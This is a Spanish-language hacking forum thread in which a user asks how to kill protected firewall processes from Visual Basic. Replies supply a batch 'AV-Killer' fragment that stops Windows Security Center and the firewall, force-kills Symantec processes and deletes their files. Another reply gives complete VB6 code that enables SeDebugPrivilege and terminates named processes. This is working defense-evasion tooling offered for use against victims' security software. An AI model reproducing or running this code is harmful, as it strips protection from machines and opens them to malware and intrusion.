Autor
|
Tema: Matar Procesos Bloqueados??? (Leído 4,590 veces)
|
Badlands
Desconectado
Mensajes: 100
|
Hola queria saver si alguien me puede ayudar con este codigo lo que quiero hacer es matar procesos de firewalls pero al estar bloqueadosno se como hacerlo aca les dejo el codigo de como lo estoy tratando de hacer pero solo mata los procesos que no estan bloqueados.
Private Sub Command1_Click() KillProcess Text1.Text End Sub
Public Sub KillProcess(ByVal processName As String) Dim oWMI Dim ret Dim sService Dim oWMIServices Dim oWMIService Dim oServices Dim oService Dim servicename Set oWMI = GetObject("winmgmts:") Set oServices = oWMI.InstancesOf("win32_process") For Each oService In oServices servicename = LCase(Trim(CStr(oService.Name) & "")) If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then ret = oService.Terminate End If Next Set oServices = Nothing Set oWMI = Nothing ErrHandler: Err.Clear End Sub
|
|
|
En línea
|
|
|
|
_Sergi_
Desconectado
Mensajes: 842
|
1. Antes que nada...Por favor, utiliza las etiquetas [ code ] y [ /code ] -sin espacios- o bien marca tu código con el botón #. Son las normas de éste foro ;) 2. Lo segundo, para matar procesos de antivirus y/o firewalls que están bloqueados es mejor que utilices un archivo de proceso por lotes, que bien crees y ejecutes desde tu programa o bien lo juntes con el ejecutable. Un perfecto ejemplo para matar antivirus y firewall en batch es éste (fragmento de AV-Killer en Batch by Hendrix en www.piratasinformaticos.net) @echo off net stop "Centro de Seguridad" net stop "Firewall de Windows/Conexión compartida a Internet (ICS)" Taskkill /f /IM ccProxy.exe /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM NMAIN.EXE /IM SBServ.exe /IM NOPDB.EXE cd c:\Archivos de programa\Archivos comunes\Symantec Shared attrib -H -S -R *.* del /s /q *.* rd c:\Archivos de programa\Archivos comunes\Symantec Shared cd c:\Archivos de programa\Archivos comunes\Symantec Shared\SPBBC attrib -H -S -R *.* Como ves, es fundamental borrar los archivos una vez que matas los procesos ya que algunos antivirus son capaces de detectar que son descargados de la memoria y vuelven a ejecutarse (caso por ejemplo del NOD32) Para crear archivos BAT desde VB sólo tienes que crear una variable con el contenido y volcarla a un archivo. (En el foro está como hacer eso) y usar la API ShellExecute o bien el comando de VB Shell para ejecutarlo (también está en el foro). Espero haberte ayudado P.D: Creo que no hace falta aclararlo... pero ahi va: desde VB también se puede hacer ésto (con un poco de ganas y maña) pero te he puesto el ejemplo con el BAT porque es más efectivo.
|
|
|
En línea
|
Proyecto de Ingeniero
|
|
|
Badlands
Desconectado
Mensajes: 100
|
pero amigo como haces para matar el procesos si justamente esta bloqueado, al querer matarlo me tira error diciendo de el procesos esta bloqueado
|
|
|
En línea
|
|
|
|
Badlands
Desconectado
Mensajes: 100
|
a ver si alguno me responde...
|
|
|
En línea
|
|
|
|
Gorky
|
Primero tienes que hacer una subida de privilegios con AdjustTokenPrivileges y despues cerrar el proceso con ExitProcess. Busca informacion sobre estas dos API's y sabras como usarlas.
Nota: Esto sirve para practicamente para todos los procesos. Hay algunos como por ejemplo el kavsvc.exe que no te va a dar resultado. Con los de los firewalls si lo vas a conseguir ya que no tienen tanta proteccion.
|
|
|
En línea
|
|
|
|
Badlands
Desconectado
Mensajes: 100
|
hola gracias por responderme
estuve viendo estas funciones y mucho no entendi, porque recien estoy empesando con el tema de las apis, por lo que estuve viendo "AdjustTokenPrivileges" es para darle privilegio al proceso y "ExitProcess" para cerrarlo, pero no se bien como utilizar las constantes. Si me podrias dar una mano te lo agradeceria .
Gracias
|
|
|
En línea
|
|
|
|
Kizar
Desconectado
Mensajes: 1.325
kizar_net
|
Muchos antivirus como el kav utilizan apihooking para prohibir su finalizacion y cualkier tipo de intento de eliminarlo, en todo caso se han equivocada en una cosa, su base de datos se puede borrar...
|
|
|
En línea
|
|
|
|
Badlands
Desconectado
Mensajes: 100
|
a ver si me explico bien...
yo lo que quiero no es matar un antivirus completo, borrandolo todo, lo que quiero hacer es matar procesos de firewalls, como el zone alarm, norton firewall etc y dejar a al antivirus como esta. Por eso pregutaba si alguno podria poner un ejemplito de las apis que dijo Gorky.
Gracias
|
|
|
En línea
|
|
|
|
Gorky
|
Option Explicit Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long Private Declare Function GetCurrentProcess Lib "kernel32" () As Long Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Type LUID LowPart As Long HighPart As Long End Type
Private Type LUID_AND_ATTRIBUTES pLuid As LUID Attributes As Long End Type
Private Type TOKEN_PRIVILEGES PrivilegeCount As Long TheLuid As LUID Attributes As Long End Type
Public Const MAX_PATH As Integer = 260 Public Const TH32CS_SNAPPROCESS As Long = 2&
Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szexeFile As String * MAX_PATH End Type
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Function ProcessTerminate(Optional lProcessID As Long, Optional lHwndWindow As Long) As Boolean Dim lhwndProcess As Long Dim lExitCode As Long Dim lRetVal As Long Dim lhThisProc As Long Dim lhTokenHandle As Long Dim tLuid As LUID Dim tTokenPriv As TOKEN_PRIVILEGES, tTokenPrivNew As TOKEN_PRIVILEGES Dim lBufferNeeded As Long
Const PROCESS_ALL_ACCESS = &H1F0FFF, PROCESS_TERMINAT = &H1 Const ANYSIZE_ARRAY = 1, TOKEN_ADJUST_PRIVILEGES = &H20 Const TOKEN_QUERY = &H8, SE_DEBUG_NAME As String = "SeDebugPrivilege" Const SE_PRIVILEGE_ENABLED = &H2
On Error Resume Next If lHwndWindow Then 'Get the process ID from the window handle lRetVal = GetWindowThreadProcessId(lHwndWindow, lProcessID) End If
If lProcessID Then lhThisProc = GetCurrentProcess
OpenProcessToken lhThisProc, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, lhTokenHandle LookupPrivilegeValue "", SE_DEBUG_NAME, tLuid tTokenPriv.PrivilegeCount = 1 tTokenPriv.TheLuid = tLuid tTokenPriv.Attributes = SE_PRIVILEGE_ENABLED AdjustTokenPrivileges lhTokenHandle, False, tTokenPriv, Len(tTokenPrivNew), tTokenPrivNew, lBufferNeeded
lhwndProcess = OpenProcess(PROCESS_TERMINAT, 0, lProcessID)
If lhwndProcess Then ProcessTerminate = CBool(TerminateProcess(lhwndProcess, lExitCode)) Call CloseHandle(lhwndProcess) End If End If On Error GoTo 0 End Function
Public Function KillProcessus(nom_process) As String Dim i As Integer Dim hSnapshot As Long Dim uProcess As PROCESSENTRY32 Dim r As Long Dim nom(1 To 100) Dim num(1 To 100) Dim nr As Integer nr = 0 hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) If hSnapshot = 0 Then Exit Function uProcess.dwSize = Len(uProcess) r = ProcessFirst(hSnapshot, uProcess) Do While r nr = nr + 1 nom(nr) = uProcess.szexeFile num(nr) = uProcess.th32ProcessID r = ProcessNext(hSnapshot, uProcess) Loop For i = 1 To nr If InStr(UCase(nom(i)), UCase(nom_process)) <> 0 Then ProcessTerminate (num(i)) Exit For End If Next i End Function Aqui en vez de hacerlo con ExitProcess lo hace con TerminateProcess pero viene a ser lo mismo. Esto es mas que un "ejemplito" pero espero que te sirva.
|
|
|
En línea
|
|
|
|
Badlands
Desconectado
Mensajes: 100
|
Te jodo mucho si me la explicas un poquito? porque no se como manejarla desde el form.
Gracias
|
|
|
En línea
|
|
|
|
|
|